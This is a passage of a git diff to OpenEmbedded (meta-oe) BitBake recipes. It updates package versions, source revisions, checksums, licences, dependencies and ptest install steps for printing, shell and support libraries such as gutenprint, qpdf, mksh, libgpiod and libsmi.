+DEPENDS = "libcupsfilters"
+
+SRC_URI = "https://github.com/OpenPrinting/${BPN}/releases/download/${PV}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "882d3c659a336e91559de8f3c76fc26197fe6e5539d9b484a596e29a5a4e0bc8"
+
+inherit autotools gettext pkgconfig github-releases
+
+do_install:append() {
+ rm -r ${D}${bindir}
+}
+
+FILES:${PN} += "${datadir}"
+
diff --git a/meta-openembedded/meta-oe/recipes-printing/gutenprint/gutenprint_git.bb b/meta-openembedded/meta-oe/recipes-printing/gutenprint/gutenprint_5.3.4.bb
index f0dc6adea0..5263890239 100644
--- a/meta-openembedded/meta-oe/recipes-printing/gutenprint/gutenprint_git.bb
+++ b/meta-openembedded/meta-oe/recipes-printing/gutenprint/gutenprint_5.3.4.bb
@@ -12,18 +12,14 @@
DESCRIPTION = "Gutenprint printer drivers"
HOMEPAGE = "http://gimp-print.sourceforge.net/"
LICENSE = "GPL-2.0-or-later"
-
-SRC_URI = "git://git.code.sf.net/p/gimp-print/source;protocol=https;branch=master"
-SRCREV = "66b0a7bc3fd25659a3f295db0ebb39d04e413c01"
-PV = "5.3.3+git${SRCPV}"
-
-S = "${WORKDIR}/git"
-
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
+SRC_URI = "https://downloads.sourceforge.net/gimp-print/${BP}.tar.xz"
+SRC_URI[sha256sum] = "db44a701d2b8e6a8931c83cec06c91226be266d23e5c189d20a39dd175f2023b"
+
inherit autotools gettext pkgconfig
-DEPENDS += "glib-2.0-native cups gutenprint-native"
+DEPENDS += "glib-2.0-native cups gutenprint-native tiff libusb libpng libjpeg-turbo ghostscript"
# autogen.sh needs autopoint
DEPENDS:class-native = "glib-2.0-native gettext-native"
@@ -36,18 +32,11 @@ do_configure:prepend:class-target() {
# So we are using the xmli18n-tmp.h created by gutenprint-native
sed -i 's/all-local: xmli18n-tmp.h xml-stamp/all-local: xml-stamp/' ${S}/src/xml/Makefile.am
sed -i 's/dist-hook: xmli18n-tmp.h xml-stamp/dist-hook: xml-stamp/' ${S}/src/xml/Makefile.am
+ sed -i '/$(AM_TESTS_ENVIRONMENT) .\/check_duplicate_printers.test/d' ${S}/src/xml/printers/Makefile.am
# Despite being a generated file, this needs to be in S.
cp ${STAGING_DATADIR_NATIVE}/gutenprint/xmli18n-tmp.h ${S}/src/xml/
}
-do_configure() {
- # Need to call autogen.sh as that creates m4/stp_release.m4
- cd ${S}
- NOCONFIGURE=1 ./autogen.sh
- cd ${B}
- oe_runconf
-}
-
do_install:append() {
# This file contains build paths and isn't very useful, remove it
rm -f ${D}${libdir}/gutenprint/*/config.summary
diff --git a/meta-openembedded/meta-oe/recipes-printing/qpdf/qpdf_10.6.3.bb b/meta-openembedded/meta-oe/recipes-printing/qpdf/qpdf_10.6.3.bb
deleted file mode 100644
index fa33daf52d..0000000000
--- a/meta-openembedded/meta-oe/recipes-printing/qpdf/qpdf_10.6.3.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-DESCRIPTION = "PDF transformation/inspection software"
-HOMEPAGE = "http://qpdf.sourceforge.net"
-LICENSE = "Artistic-2.0"
-SECTION = "libs"
-DEPENDS = "libpcre zlib libjpeg-turbo"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/qpdf/qpdf-${PV}.tar.gz"
-SRC_URI[sha256sum] = "e8fc23b2a584ea68c963a897515d3eb3129186741dd19d13c86d31fa33493811"
-
-LIC_FILES_CHKSUM = "file://Artistic-2.0;md5=7806296b9fae874361e6fb10072b7ee3"
-
-inherit autotools-brokensep gettext
-
-# disable random file detection for cross-compile
-EXTRA_OECONF = "--without-random \
- --disable-static \
- --disable-check-autofiles \
- "
-
-LDFLAGS:append:mipsarch = " -latomic"
-LDFLAGS:append:riscv32 = " -latomic"
-
-S="${WORKDIR}/${BPN}-${PV}"
-
-# avoid Makefile returning error on 'make clean' before configure was run
-CLEANBROKEN = "1"
-
-DEBIAN_NOAUTONAME:libqpdf = "1"
-
-PACKAGES =+ "libqpdf"
-FILES:libqpdf = "${libdir}/libqpdf.so.*"
-
-RDEPENDS:${PN} = "libqpdf"
diff --git a/meta-openembedded/meta-oe/recipes-printing/qpdf/qpdf_11.6.3.bb b/meta-openembedded/meta-oe/recipes-printing/qpdf/qpdf_11.6.3.bb
new file mode 100644
index 0000000000..ceb9f25aeb
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-printing/qpdf/qpdf_11.6.3.bb
@@ -0,0 +1,31 @@
+DESCRIPTION = "PDF transformation/inspection software"
+HOMEPAGE = "http://qpdf.sourceforge.net"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+DEPENDS = "zlib jpeg ${@bb.utils.contains('PACKAGECONFIG', 'gnutls', 'gnutls', 'openssl', d)}"
+
+SRC_URI = "git://github.com/qpdf/qpdf.git;protocol=https;branch=main"
+SRCREV = "81823f4032caefd1050bccb207d315839c1c48db"
+
+inherit cmake pkgconfig gettext
+
+EXTRA_OECMAKE = ' \
+ -DRANDOM_DEVICE="/dev/random" \
+ -DBUILD_STATIC_LIBS=OFF \
+ -DALLOW_CRYPTO_NATIVE=OFF \
+ -DUSE_IMPLICIT_CRYPTO=OFF \
+'
+
+LDFLAGS:append:mipsarch = " -latomic"
+LDFLAGS:append:riscv32 = " -latomic"
+
+S="${WORKDIR}/git"
+
+PACKAGECONFIG ?= "gnutls"
+PACKAGECONFIG[gnutls] = "-DREQUIRE_CRYPTO_GNUTLS=ON,-DREQUIRE_CRYPTO_OPENSSL=ON"
+
+do_install:append() {
+ # Change the fully defined path on the target
+ sed -i -e 's|${STAGING_LIBDIR}|${libdir}|g' ${D}${libdir}/cmake/${BPN}/libqpdfTargets.cmake
+}
diff --git a/meta-openembedded/meta-oe/recipes-shells/mksh/mksh_59.bb b/meta-openembedded/meta-oe/recipes-shells/mksh/mksh_59c.bb
index 9cd0fbc255..e3a8ca8b5e 100644
--- a/meta-openembedded/meta-oe/recipes-shells/mksh/mksh_59.bb
+++ b/meta-openembedded/meta-oe/recipes-shells/mksh/mksh_59c.bb
@@ -7,10 +7,11 @@ LIC_FILES_CHKSUM = "file://main.c;beginline=6;endline=26;md5=6efc2c249328e4d2bd3
file://strlcpy.c;beginline=1;endline=17;md5=d953f28f0c43ee29e238ec9bc15df2a0 \
"
-SRC_URI = "http://www.mirbsd.org/MirOS/dist/mir/mksh/mksh-R59b.tgz"
+SRC_URI = "http://www.mirbsd.org/MirOS/dist/mir/${BPN}/${BPN}-R${PV}.tgz"
-SRC_URI[md5sum] = "dce6abffc2036288540b9ba11dfb2ec8"
-SRC_URI[sha256sum] = "907ed1a9586e7f18bdefdd4a763aaa8397b755e15034aa54f4d753bfb272e0e6"
+SRC_URI[sha256sum] = "77ae1665a337f1c48c61d6b961db3e52119b38e58884d1c89684af31f87bc506"
+
+UPSTREAM_CHECK_REGEX = "${BPN}-R(?P<pver>.*)\.tgz"
inherit update-alternatives
diff --git a/meta-openembedded/meta-oe/recipes-support/btop/btop_1.2.13.bb b/meta-openembedded/meta-oe/recipes-support/btop/btop_1.2.13.bb
new file mode 100644
index 0000000000..a944fe7b51
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-support/btop/btop_1.2.13.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Resource monitor that shows usage and stats for processor, memory, disks, network and processes."
+HOMEPAGE = "https://github.com/aristocratos/btop"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+SECTION = "console/utils"
+
+SRC_URI = "git://github.com/aristocratos/btop.git;protocol=https;branch=main"
+SRCREV = "9edbf27f1b6d5844a97325fcda732762ba086a99"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+FILES:${PN} += " \
+ ${datadir}/icons \
+ ${datadir}/icons/hicolor \
+ ${datadir}/icons/hicolor/48x48 \
+ ${datadir}/icons/hicolor/scalable \
+ ${datadir}/icons/hicolor/48x48/apps \
+ ${datadir}/icons/hicolor/48x48/apps/btop.png \
+ ${datadir}/icons/hicolor/scalable/apps \
+ ${datadir}/icons/hicolor/scalable/apps/btop.svg \
+"
diff --git a/meta-openembedded/meta-oe/recipes-support/c-ares/c-ares_1.19.1.bb b/meta-openembedded/meta-oe/recipes-support/c-ares/c-ares_1.22.1.bb
index 1440d72711..8ba1b60995 100644
--- a/meta-openembedded/meta-oe/recipes-support/c-ares/c-ares_1.19.1.bb
+++ b/meta-openembedded/meta-oe/recipes-support/c-ares/c-ares_1.22.1.bb
@@ -3,10 +3,10 @@ SUMMARY = "c-ares is a C library that resolves names asynchronously."
HOMEPAGE = "http://daniel.haxx.se/projects/c-ares/"
SECTION = "libs"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.md;md5=fb997454c8d62aa6a47f07a8cd48b006"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=fdbc58a6da11a9f68aa73c453818decc"
SRC_URI = "git://github.com/c-ares/c-ares.git;branch=main;protocol=https"
-SRCREV = "6360e96b5cf8e5980c887ce58ef727e53d77243a"
+SRCREV = "36466bb240661fa8fdc2ffa47d229d92ac762286"
UPSTREAM_CHECK_GITTAGREGEX = "cares-(?P<pver>\d+_(\d_?)+)"
diff --git a/meta-openembedded/meta-oe/recipes-support/ccid/ccid_1.5.2.bb b/meta-openembedded/meta-oe/recipes-support/ccid/ccid_1.5.4.bb
index 0802e80f7b..e53ffa40b3 100644
--- a/meta-openembedded/meta-oe/recipes-support/ccid/ccid_1.5.2.bb
+++ b/meta-openembedded/meta-oe/recipes-support/ccid/ccid_1.5.4.bb
@@ -10,7 +10,7 @@ SRC_URI = "https://ccid.apdu.fr/files/ccid-${PV}.tar.bz2 \
file://0001-Add-build-rule-for-README.patch \
"
-SRC_URI[sha256sum] = "13934487e6f8b48f699a16d367cc7a1af7a3ca874de721ac6e9633beb86e7219"
+SRC_URI[sha256sum] = "6e832adc172ecdcfdee2b56f33144684882cbe972daff1938e7a9c73a64f88bf"
inherit autotools pkgconfig
diff --git a/meta-openembedded/meta-oe/recipes-support/ceres-solver/ceres-solver_2.1.0.bb b/meta-openembedded/meta-oe/recipes-support/ceres-solver/ceres-solver_2.2.0.bb
index d3c6b421e6..18db0721de 100644
--- a/meta-openembedded/meta-oe/recipes-support/ceres-solver/ceres-solver_2.1.0.bb
+++ b/meta-openembedded/meta-oe/recipes-support/ceres-solver/ceres-solver_2.2.0.bb
@@ -1,12 +1,12 @@
DESCRIPTION = "Ceres Solver is an open source C++ library for modeling and solving large, complicated optimization problems."
HOMEPAGE = "http://ceres-solver.org/"
LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=bb761279816b72be19d7ce646e4e2a14"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3585a26c9cd9ec0cb36a7d65542878ca"
DEPENDS = "libeigen glog"
SRC_URI = "git://github.com/ceres-solver/ceres-solver.git;branch=master;protocol=https"
-SRCREV = "f68321e7de8929fbcdb95dd42877531e64f72f66"
+SRCREV = "85331393dc0dff09f6fb9903ab0c4bfa3e134b01"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-support/cpulimit/cpulimit_0.2.bb b/meta-openembedded/meta-oe/recipes-support/cpulimit/cpulimit_0.2.bb
index 58e4fd6e88..f88d3b6ca1 100644
--- a/meta-openembedded/meta-oe/recipes-support/cpulimit/cpulimit_0.2.bb
+++ b/meta-openembedded/meta-oe/recipes-support/cpulimit/cpulimit_0.2.bb
@@ -1,4 +1,5 @@
SUMMARY = "cpulimit is a tool which limits the CPU usage of a process"
+DESCRIPTION = "cpulimit is a simple program that attempts to limit the CPU usage of a process (expressed in percentage, not in CPU time). This is useful to control batch jobs, when you don't want them to eat too much CPU. It does not act on the nice value or other priority stuff, but on the real CPU usage. Besides it is able to adapt itself to the overall system load, dynamically and quickly."
HOMEPAGE = "http://cpulimit.sourceforge.net"
LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=86c1c0d961a437e529db93aa3bb32dc4"
diff --git a/meta-openembedded/meta-oe/recipes-support/crucible/crucible_2023.04.12.bb b/meta-openembedded/meta-oe/recipes-support/crucible/crucible_2023.11.02.bb
index 4830acff1d..339bb35f2d 100644
--- a/meta-openembedded/meta-oe/recipes-support/crucible/crucible_2023.04.12.bb
+++ b/meta-openembedded/meta-oe/recipes-support/crucible/crucible_2023.11.02.bb
@@ -1,6 +1,6 @@
SUMMARY = "Utility that provides userspace support for reading and writing to the i.MX fuses"
-LICENSE = "GPL-3.0-only"
-LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=a64ced9463b8c81d08335d41966e0592"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=201414b6610203caed355323b1ab3116"
GO_IMPORT = "github.com/usbarmory/crucible"
SRC_URI = "git://${GO_IMPORT}.git;protocol=https;branch=master"
@@ -9,7 +9,7 @@ GO_INSTALL = "\
${GO_IMPORT}/cmd/crucible \
${GO_IMPORT}/cmd/habtool \
"
-SRCREV = "269c90b0067e469c20b11e7fc5f4681ad5f0af7e"
+SRCREV = "358b5e7adb7f101f870f2b42fe5371460a3cccb6"
# Workaround for network access issue during compile step.
# This needs to be fixed in the recipes buildsystem so that
diff --git a/meta-openembedded/meta-oe/recipes-support/edid-decode/edid-decode_git.bb b/meta-openembedded/meta-oe/recipes-support/edid-decode/edid-decode_git.bb
index c1f512160d..48b52eefca 100644
--- a/meta-openembedded/meta-oe/recipes-support/edid-decode/edid-decode_git.bb
+++ b/meta-openembedded/meta-oe/recipes-support/edid-decode/edid-decode_git.bb
@@ -7,7 +7,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2ef696d66c156139232201f223c22592"
SRC_URI= "git://git.linuxtv.org/edid-decode.git;protocol=https;branch=master"
-SRCREV = "e052f5f9fdf74ca11aa1a8edfa62eff8d0aa3d0d"
+SRCREV = "5920bf2a756b2f748c49ff6a08b9f421026473c5"
PV = "0.0+git${SRCPV}"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-support/freerdp/freerdp_2.11.1.bb b/meta-openembedded/meta-oe/recipes-support/freerdp/freerdp_2.11.2.bb
index 063a63b1e3..c8d996d416 100644
--- a/meta-openembedded/meta-oe/recipes-support/freerdp/freerdp_2.11.1.bb
+++ b/meta-openembedded/meta-oe/recipes-support/freerdp/freerdp_2.11.2.bb
@@ -13,7 +13,7 @@ inherit pkgconfig cmake gitpkgv
PE = "1"
PKGV = "${GITPKGVTAG}"
-SRCREV = "9d3d40bf3e429c0cd6609f686c0e73ed0eff0a07"
+SRCREV = "a38c1be9eee39a9bc22b511fffe96e63fdf8ebe7"
SRC_URI = "git://github.com/FreeRDP/FreeRDP.git;branch=stable-2.0;protocol=https \
file://winpr-makecert-Build-with-install-RPATH.patch \
file://0001-Fix-const-qualifier-error.patch \
diff --git a/meta-openembedded/meta-oe/recipes-support/function2/function2_4.2.3.bb b/meta-openembedded/meta-oe/recipes-support/function2/function2_4.2.4.bb
index 599c490359..2748b84f7c 100644
--- a/meta-openembedded/meta-oe/recipes-support/function2/function2_4.2.3.bb
+++ b/meta-openembedded/meta-oe/recipes-support/function2/function2_4.2.4.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "Provides improved implementations of std::function."
HOMEPAGE = "https://naios.github.io/function2"
LICENSE = "BSL-1.0"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
-SRCREV = "9e303865d14f1204f09379e37bbeb30c4375139a"
+SRCREV = "a354bd093d2b6e50c9325dbce84d20b4e77aabc6"
PV .= "+git${SRCPV}"
SRC_URI += "gitsm://github.com/Naios/function2;branch=master;protocol=https"
diff --git a/meta-openembedded/meta-oe/recipes-support/googlebenchmark/googlebenchmark_1.8.0.bb b/meta-openembedded/meta-oe/recipes-support/googlebenchmark/googlebenchmark_1.8.3.bb
index 209f51ea3d..f945a30f36 100644
--- a/meta-openembedded/meta-oe/recipes-support/googlebenchmark/googlebenchmark_1.8.0.bb
+++ b/meta-openembedded/meta-oe/recipes-support/googlebenchmark/googlebenchmark_1.8.3.bb
@@ -5,7 +5,7 @@ LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
SRC_URI = "git://github.com/google/benchmark.git;protocol=https;branch=main"
-SRCREV = "2dd015dfef425c866d9a43f2c67d8b52d709acb6"
+SRCREV = "344117638c8ff7e239044fd0fa7085839fc03021"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb b/meta-openembedded/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb
index 68b91c0b0c..e716430673 100644
--- a/meta-openembedded/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb
+++ b/meta-openembedded/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb
@@ -7,7 +7,7 @@ SECTION = "libs"
LICENSE = "HDF5"
LIC_FILES_CHKSUM = "file://COPYING;md5=9ba0f3d878ab6c2403c86e9b0362d998"
-inherit cmake siteinfo qemu multilib_header
+inherit cmake siteinfo qemu multilib_header multilib_script
DEPENDS += "qemu-native zlib"
@@ -40,6 +40,10 @@ EOF
do_unpack[postfuncs] += "gen_emu"
+MULTILIB_SCRIPTS += "${PN}:${bindir}/h5cc \
+ ${PN}:${bindir}/h5hlcc \
+"
+
do_install:append() {
# Used for generating config files on target
install -m 755 ${B}/bin/H5detect ${D}${bindir}
diff --git a/meta-openembedded/meta-oe/recipes-support/hwdata/hwdata_0.370.bb b/meta-openembedded/meta-oe/recipes-support/hwdata/hwdata_0.376.bb
index 56d4253772..1666d5e4da 100644
--- a/meta-openembedded/meta-oe/recipes-support/hwdata/hwdata_0.370.bb
+++ b/meta-openembedded/meta-oe/recipes-support/hwdata/hwdata_0.376.bb
@@ -5,7 +5,7 @@ SECTION = "System/Base"
LICENSE = "GPL-2.0-or-later | XFree86-1.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=1556547711e8246992b999edd9445a57"
-SRCREV = "21cb47beb1716545b25dfe8ae1b9e079c73b85d9"
+SRCREV = "e27f08bda517100746000dacdd882b6a7e7ce19a"
SRC_URI = "git://github.com/vcrhonek/${BPN}.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-support/idevicerestore/idevicerestore_git.bb b/meta-openembedded/meta-oe/recipes-support/idevicerestore/idevicerestore_git.bb
index 2a0a129fee..3dbd8db63f 100644
--- a/meta-openembedded/meta-oe/recipes-support/idevicerestore/idevicerestore_git.bb
+++ b/meta-openembedded/meta-oe/recipes-support/idevicerestore/idevicerestore_git.bb
@@ -10,7 +10,7 @@ DEPENDS = "libirecovery libimobiledevice libzip curl libimobiledevice-glue opens
PV = "1.0.1+git${SRCPV}"
-SRCREV = "163a1647dedb7ca4656c0f072e4733573f9f982b"
+SRCREV = "ecae6c6e8ca6b6bad080a1c73f10ffd0e67d75a7"
SRC_URI = "git://github.com/libimobiledevice/idevicerestore;protocol=https;branch=master"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-support/libbytesize/libbytesize_2.9.bb b/meta-openembedded/meta-oe/recipes-support/libbytesize/libbytesize_2.10.bb
index dfc7b42dca..28e40f66e3 100644
--- a/meta-openembedded/meta-oe/recipes-support/libbytesize/libbytesize_2.9.bb
+++ b/meta-openembedded/meta-oe/recipes-support/libbytesize/libbytesize_2.10.bb
@@ -9,8 +9,8 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=c07cb499d259452f324bb90c3067d85c"
S = "${WORKDIR}/git"
B = "${S}"
-SRCREV = "2fa27aa3acccc70b9f6c3bf2e569e3d33a381e83"
-SRC_URI = "git://github.com/rhinstaller/libbytesize;branch=master;protocol=https"
+SRCREV = "6e83cc6f6dff4f126fc79284e0c3c1c50123380d"
+SRC_URI = "git://github.com/storaged-project/libbytesize;branch=main;protocol=https"
inherit gettext autotools pkgconfig python3native
diff --git a/meta-openembedded/meta-oe/recipes-support/libeigen/libeigen_3.4.0.bb b/meta-openembedded/meta-oe/recipes-support/libeigen/libeigen_3.4.0.bb
index 28305c9854..72044427dd 100644
--- a/meta-openembedded/meta-oe/recipes-support/libeigen/libeigen_3.4.0.bb
+++ b/meta-openembedded/meta-oe/recipes-support/libeigen/libeigen_3.4.0.bb
@@ -1,6 +1,6 @@
DESCRIPTION = "Eigen is a C++ template library for linear algebra: matrices, vectors, numerical solvers, and related algorithms."
HOMEPAGE = "http://eigen.tuxfamily.org/"
-LICENSE = "MPL-2.0 & Apache-2.0 & BSD-3-Clause & GPL-3.0-only & LGPL-2.1-only & MINPACK"
+LICENSE = "MPL-2.0 & Apache-2.0 & BSD-3-Clause & GPL-2.0-only & LGPL-2.1-only & MINPACK"
LIC_FILES_CHKSUM = "file://COPYING.MPL2;md5=815ca599c9df247a0c7f619bab123dad \
file://COPYING.BSD;md5=2dd0510ee95e59ca28834b875bc96596 \
file://COPYING.GPL;md5=d32239bcb673463ab874e80d47fae504 \
diff --git a/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod-2.x/run-ptest b/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod-2.x/run-ptest
index 9475f02535..29ec0d1027 100644
--- a/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod-2.x/run-ptest
+++ b/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod-2.x/run-ptest
@@ -1,6 +1,6 @@
#!/bin/sh
-testbins="gpiod-test gpio-tools-test gpiod-cxx-test"
+testbins="gpiod-test gpio-tools-test.bash gpiod-cxx-test"
ptestdir=$(dirname "$(readlink -f "$0")")
cd $ptestdir/tests
diff --git a/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod.inc b/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod.inc
index 0eda47bba0..dc1fb4fe92 100644
--- a/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod.inc
+++ b/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod.inc
@@ -33,7 +33,6 @@ FILES:${PN}-tools += " \
FILES:libgpiodcxx = "${libdir}/libgpiodcxx.so.*"
RRECOMMENDS:${PN}-ptest += "coreutils"
-RDEPENDS:${PN}-ptest += "${@bb.utils.contains('PTEST_ENABLED', '1', 'bats', '', d)}"
do_install:append() {
rm -f ${D}${bindir}/gpiod-test
@@ -50,8 +49,6 @@ do_install_ptest() {
# Tools are always built so let's always install them for ptest even if
# we're not selecting libgpiod-tools.
- install -m 0755 ${S}/tools/gpio-tools-test ${D}${PTEST_PATH}/tests/
- install -m 0755 ${S}/tools/gpio-tools-test.bats ${D}${PTEST_PATH}/tests/
for tool in ${FILES:${PN}-tools}; do
install ${B}/tools/.libs/$(basename $tool) ${D}${PTEST_PATH}/tests/
done
diff --git a/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_1.6.4.bb b/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_1.6.4.bb
index b28aa8e698..111a5727ba 100644
--- a/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_1.6.4.bb
+++ b/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_1.6.4.bb
@@ -30,9 +30,15 @@ RRECOMMENDS:${PN}-ptest += " \
kernel-module-gpio-mockup \
${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-unittest', '', d)} \
"
-RDEPENDS:${PN}-ptest += "python3-packaging"
+RDEPENDS:${PN}-ptest += " \
+ python3-packaging \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'bats', '', d)} \
+"
do_install_ptest:append() {
+ install -m 0755 ${S}/tools/gpio-tools-test ${D}${PTEST_PATH}/tests/
+ install -m 0755 ${S}/tools/gpio-tools-test.bats ${D}${PTEST_PATH}/tests/
+
if ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'true', 'false', d)}; then
install -m 0755 ${S}/bindings/python/tests/gpiod_py_test.py ${D}${PTEST_PATH}/tests/
fi
diff --git a/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_2.0.2.bb b/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_2.1.bb
index 7533e0a258..1e92d00790 100644
--- a/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_2.0.2.bb
+++ b/meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_2.1.bb
@@ -9,7 +9,7 @@ LIC_FILES_CHKSUM = " \
FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}-2.x:"
-SRC_URI[sha256sum] = "c3c923dc63b7b1b02639c9179c81e3d9febf0887bbaa59775990229cdbedb88b"
+SRC_URI[sha256sum] = "fa4024a080121c958502f9a46a5bda44bea85e7a4dd7fcb3dead463b6fc4261c"
# Enable all project features for ptest
PACKAGECONFIG[tests] = "--enable-tests --enable-tools --enable-bindings-cxx --enable-gpioset-interactive,--disable-tests,kmod util-linux glib-2.0 catch2 libedit"
@@ -20,8 +20,13 @@ FILES:${PN}-tools += "${bindir}/gpionotify"
FILES:${PN}-ptest += "${libdir}/libgpiosim.so.*"
FILES:${PN}-ptest-dev += "${includedir}/gpiosim.h"
+RDEPENDS:${PN}-ptest += " \
+ bash \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'shunit2', '', d)} \
+"
RRECOMMENDS:${PN}-ptest += "kernel-module-gpio-sim"
do_install_ptest:append() {
+ install -m 0755 ${S}/tools/gpio-tools-test.bash ${D}${PTEST_PATH}/tests/
install -m 0644 ${S}/tests/gpiosim/gpiosim.h ${D}${includedir}/gpiosim.h
}
diff --git a/meta-openembedded/meta-oe/recipes-support/libosinfo/libosinfo_1.10.bb b/meta-openembedded/meta-oe/recipes-support/libosinfo/libosinfo_1.11.0.bb
index d724c52ea9..ca6f9ba3fa 100644
--- a/meta-openembedded/meta-oe/recipes-support/libosinfo/libosinfo_1.10.bb
+++ b/meta-openembedded/meta-oe/recipes-support/libosinfo/libosinfo_1.11.0.bb
@@ -10,7 +10,7 @@ SRC_URI = " \
file://0001-meson.build-allow-crosscompiling-gir.patch \
"
-SRCREV = "f503ff7a9e13963bcf396776bce0b209a819ba9b"
+SRCREV = "ca9dd5b810dc04ea38048ae9be491654c8596ef9"
S = "${WORKDIR}/git"
@@ -18,6 +18,9 @@ inherit meson pkgconfig gtk-doc gobject-introspection vala
DEPENDS = "glib-2.0 libsoup libxslt"
+VALA_MESON_OPTION = 'enable-vala'
+VALA_MESON_ENABLE_FLAG = 'enabled'
+VALA_MESON_DISABLE_FLAG = 'disabled'
GIR_MESON_OPTION = "enable-introspection"
GIR_MESON_ENABLE_FLAG = 'enabled'
GIR_MESON_DISABLE_FLAG = 'disabled'
@@ -26,7 +29,6 @@ GTKDOC_MESON_OPTION = "enable-gtk-doc"
EXTRA_OEMESON += " \
-Dwith-pci-ids-path=${datadir}/pci.ids \
-Dwith-usb-ids-path=${datadir}/usb.ids \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Denable-vala=enabled', '-Denable-vala=disabled', d)} \
"
RDEPENDS:${PN} = "pciutils-ids usbids"
diff --git a/meta-openembedded/meta-oe/recipes-support/libraw/libraw_0.20.2.bb b/meta-openembedded/meta-oe/recipes-support/libraw/libraw_0.21.1.bb
index 1940864a20..a3bbbe39ef 100644
--- a/meta-openembedded/meta-oe/recipes-support/libraw/libraw_0.20.2.bb
+++ b/meta-openembedded/meta-oe/recipes-support/libraw/libraw_0.21.1.bb
@@ -1,9 +1,9 @@
SUMMARY = "raw image decoder"
LICENSE = "LGPL-2.1-only | CDDL-1.0"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=74c9dffdc42805f9c0de2f97df6031fc"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=1501ae0aa3c8544e63f08d6f7bf88a6f"
SRC_URI = "git://github.com/LibRaw/LibRaw.git;branch=master;protocol=https"
-SRCREV = "0209b6a2caec189e6d1a9b21c10e9e49f46e5a92"
+SRCREV = "cccb97647fcee56801fa68231fa8a38aa8b52ef7"
S = "${WORKDIR}/git"
inherit autotools pkgconfig
diff --git a/meta-openembedded/meta-oe/recipes-support/libsmi/libsmi_0.5.0.bb b/meta-openembedded/meta-oe/recipes-support/libsmi/libsmi_0.5.0.bb
index 33e1b6fabd..07e2e29417 100644
--- a/meta-openembedded/meta-oe/recipes-support/libsmi/libsmi_0.5.0.bb
+++ b/meta-openembedded/meta-oe/recipes-support/libsmi/libsmi_0.5.0.bb
@@ -14,13 +14,11 @@ SRC_URI = "https://www.ibr.cs.tu-bs.de/projects/${BPN}/download/${BP}.tar.gz \
SRC_URI[md5sum] = "4bf47483c06c9f07d1b10fbc74eddf11"
SRC_URI[sha256sum] = "f21accdadb1bb328ea3f8a13fc34d715baac6e2db66065898346322c725754d3"
-DEPENDS += "bison-native flex-native"
-
-RDEPENDS:${PN} += "wget"
+DEPENDS += "bison-native flex-native wget-native gawk-native"
inherit autotools-brokensep
-EXTRA_OECONF = "ac_cv_path_SH=/bin/sh ac_cv_path_WGET=${bindir}/wget ac_cv_path_AWK=${bindir}/awk"
+EXTRA_OECONF = "ac_cv_path_SH=/bin/sh"
do_install:append () {
install -d ${D}${sysconfdir}
@@ -34,3 +32,5 @@ FILES:${PN}-pibs += "${datadir}/pibs"
FILES:${PN}-yang += "${datadir}/yang"
